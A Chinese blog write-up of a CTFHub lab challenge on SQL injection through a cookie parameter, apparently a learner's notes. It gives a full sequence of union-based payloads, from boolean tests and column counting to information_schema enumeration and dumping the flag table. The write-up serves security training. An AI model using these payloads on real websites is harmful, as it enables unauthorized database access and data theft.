CTFHub | Cookie注入

痛定思痛。 2024-03-31 09:05 144阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **Cookie注入：**
> 
> （无）

![d637c568a6ed40d88e0110a0b0c6ccf1.png][] 网页显示内容

#### 0x02 解题过程 ####

根据网页显示内容提示，这题关于 Cookie 注入，Cookie 注入和之前的注入手法一致，只不过需要在网页 Cookie 中修改其参数进行注入判断，那么直接打开工具 BurpSuite 对题目网站进行抓包。判断发现存在 Cookie 注入，接着判断字段数量，查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。

**Ⅰ**使用Burpsuite工具对题目网站进行抓包

![f6526ed8d3b043e58d70ff887d703891.png][]

**Ⅱ**使用'and 1 = 1'进行测试，判断是否存在sql注入

![f9beb9fe5bd14e5f9d1330392aa68e36.png][]

and 1 = 1

**Ⅲ**使用’and 1 = 2'进行测试，回显错误，说明存在sql注入

![7f63a5fe9ab84169835f9efa46e70400.png][]

and 1 = 2

**Ⅳ**使用order by 判断字段数量，从order by 1开始

![161e57799c9c4fb3b129c882edbb0593.png][]

order by 1

**Ⅴ**判断字段2，使用order by 2

![a6e3189ac2734698a9820d6029f93203.png][]

order by 2

**Ⅵ**判断字段3，使用order by 3，这里无回显，那么字段数量为2列

![f746cfbab15f437b8982f53e4b565572.png][]

order by 3

**Ⅶ**知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据

![376e174aed4a4704a8a2f4cb66abeb6c.png][]

union select 1,2

**Ⅷ**判断数据可能不存在数据库中，在id=1中加入负号查看数据，其他符号也可以

![250e8d82ceee40c9b79b0fd8e3d4e28d.png][]

id=-1 union select 1,2

**Ⅸ**修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22

![0d820577a03045b6a9b63cb4e8e00303.png][]

union select 1,version()

**Ⅹ**修改2为database()，查看数据库名，发现数据库版本为sqli

![494fb99ca4cc4c8ba4f080d907f8e155.png][]

union select 1,database()

**ⅩⅠ**查看全部数据库名

![7ecf67efd2e845d1b625864343a3e1a9.png][]

union select 1,group_concat(schema_name)from information_schema.schemata

**ⅩⅡ**在全部数据库名中发现sqli，最后在sqli数据库中发现news和mrqonpoxwm两个表名

![5502487462ed417c8468144f87748833.png][]

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

**ⅩⅢ**先查看mrqonpoxwm表中的全部字段名，发现一个数据名为umzfngtnsk

![9ca71853ccd14431875f930eadc104f8.png][]

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='mrqonpoxwm'

**ⅩⅣ**查看数据umzfngtnsk中的内容，发现此题flag

![c72bf59419714c45a15e61e85b81a62b.png][]

union select 1,group_concat(umzfngtnsk) from sqli.mrqonpoxwm

#### **0x03 Cookie 注入原理** ####

> Cookie 注入的原理也和其他注入一样，只不过是将提交的参数已 Cookie 方式提交，而一般的注入是使用 GET 或者 POST 方式提交，GET 方式提交就是直接在网址后面加上需要注入的语句，POST 方式则是通过表单，GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数，而 Cookie 注入却不能。

#### **0x04 参考文献** ####

> \[1\].tooltime. cookie注入原理详解（一）\[EB/OL\]. \[2022-11-20\]. https://www.cnblogs.com/insane-Mr-Li/p/9142681.html.

#### **0x05 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[d637c568a6ed40d88e0110a0b0c6ccf1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/ed309df935bb48e5a602cc06784540c6.png
[f6526ed8d3b043e58d70ff887d703891.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/090b3f3e19bc404c9f83228184188050.png
[f9beb9fe5bd14e5f9d1330392aa68e36.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/57f250ceb7aa41da8a4b98f87c37289d.png
[7f63a5fe9ab84169835f9efa46e70400.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/51722b79cdcd4d3fad9d89c95db302e1.png
[161e57799c9c4fb3b129c882edbb0593.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/4a1cf5a0fba24bbea4d54181fc5d96ec.png
[a6e3189ac2734698a9820d6029f93203.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/78744df6d59a4c9a97f1727ffef3b6f0.png
[f746cfbab15f437b8982f53e4b565572.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/5e501bba7cd74a2ca55ed559903931bf.png
[376e174aed4a4704a8a2f4cb66abeb6c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/486e6b63fb354b9cac20fd1fa6bcd3d5.png
[250e8d82ceee40c9b79b0fd8e3d4e28d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/4bbeec8cc40a4c91883e4b3cc69f845b.png
[0d820577a03045b6a9b63cb4e8e00303.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/bc24805adbf0400192ac01fa852762a0.png
[494fb99ca4cc4c8ba4f080d907f8e155.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/f3ea5ea56e8c409485ed47fe3ee4f7da.png
[7ecf67efd2e845d1b625864343a3e1a9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/8cc921f52ba0464b8dae723c4761fee9.png
[5502487462ed417c8468144f87748833.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/1ca38999ed8b4f129129e90eda7b3aa6.png
[9ca71853ccd14431875f930eadc104f8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/93b16b4f10c947c0b947df24caa431f2.png
[c72bf59419714c45a15e61e85b81a62b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/133859f79ec444998c6f2bd7c871169e.png